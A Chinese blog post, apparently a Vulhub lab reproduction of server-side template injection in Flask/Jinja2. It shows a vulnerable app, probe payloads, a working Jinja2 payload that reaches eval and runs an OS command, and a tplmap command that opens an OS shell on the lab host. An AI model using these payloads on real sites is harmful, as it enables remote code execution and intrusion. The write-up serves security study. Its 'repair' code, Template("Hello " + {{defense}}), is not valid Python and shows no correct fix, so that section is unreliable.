Flask服务端模板(Jinja2)注入漏洞(SSTI)复现

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现,第1张

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现

#Flask服务端模板(Jinja2)注入漏洞(SSTI)复现#

一、漏洞简介

服务器模板注入(SSTI)是一种利用公共 Web框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点。SSTI攻击可以利用拼接恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。

二、漏洞影响

影响版本

使用Flask框架开发并且使用Jinja2模板引擎,最重要的是模板内容可控。满足该条件的Flask模块中几乎都存在注入漏洞。

三、产生原因
from flask import Flask, request from jinja2 import Template app = Flask(__name__) 
@app.route("/") def index():     name = request.args.get('name', 'guest')     t = Template("Hello " + name)     return t.render() if __name__ == "__main__": app.run()

根据上述源码,漏洞主要出在:“t = Template(“Hell” + name)”,由于使用拼接后直接进行渲染,导致命令注入。

四、复现过程

docker 靶机:192.168.111.137

docker搭建靶场环境

docker-compose up -d

查询端口

docker ps

搭建成功

查看源码

cd /src
ls
cat app.py

可以看到核心语句为

	t = Template("hello " + name)

此处,函数利用get获取参数进入template,形成任意构造注入。

POC1:

http://192.168.111.137:8000/?name={{2*2}}

POC2:

http://192.168.111.137:8000/?name={{%27Mike%27.upper()}}

官方POC:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

大佬getshell EXP:

python2 ./tplmap.py -u "http://192.168.111.137:8000/?name=aaa" --os-shell

链接在最后

五、修复方案

修改代码后可以避免注入:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/s1mpL3")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + {{defense}})
    return t.render(defense=name)

if __name__ == "__main__":
    app.run()
六、参考链接

Flask - SSTI - VulHub

Flask服务端模板(Jinja2)注入漏洞(SSTI)复现

flask ssti 一键注入EXP

标签

Flask、Jinja2、SSTI

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/4966380.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-11-13
下一篇 2022-11-13

发表评论

登录后才能评论

评论列表(0条)

保存